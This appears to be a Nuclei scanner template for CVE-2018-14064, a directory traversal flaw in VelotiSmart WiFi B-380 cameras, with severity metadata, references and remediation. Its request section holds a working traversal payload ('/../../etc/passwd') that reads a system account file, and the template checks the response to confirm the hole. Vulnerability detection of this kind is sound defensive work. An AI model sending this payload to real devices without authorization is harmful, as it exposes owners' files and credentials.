id: CVE-2018-14064

info:
  name: VelotiSmart Wifi - Directory Traversal
  author: 0x_Akoko
  severity: critical
  description: VelotiSmart WiFi B-380 camera devices allow directory traversal via the uc-http service 1.0.0, as demonstrated by /../../etc/passwd on TCP port 80.
  impact: |
    Unauthenticated attackers can read arbitrary files on the VelotiSmart WiFi B-380 camera device through directory traversal, potentially exposing sensitive configuration files, stored credentials, and system information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in VelotiSmart Wifi.
  reference:
    - https://medium.com/@s1kr10s/velotismart-0day-ca5056bcdcac
    - https://www.exploit-db.com/exploits/45030
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14064
    - https://medium.com/%40s1kr10s/velotismart-0day-ca5056bcdcac
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-14064
    cwe-id: CWE-22
    epss-score: 0.3757
    epss-percentile: 0.98385
    cpe: cpe:2.3:o:velotismart_project:velotismart_wifi_firmware:b-380:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: velotismart_project
    product: velotismart_wifi_firmware
  tags: cve2018,cve,edb,lfi,camera,iot,velotismart_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a0046304402200c812b67aa744f1587e9e8c42fe8f3ff415d0618623488d92bb979a1a0b3451502207484e697e69bfaa06c43a53e6fea9e05ae9072ebbfa0e31ea2c3852f0ab4d579:922c64590222798bb761d5b6d8e72950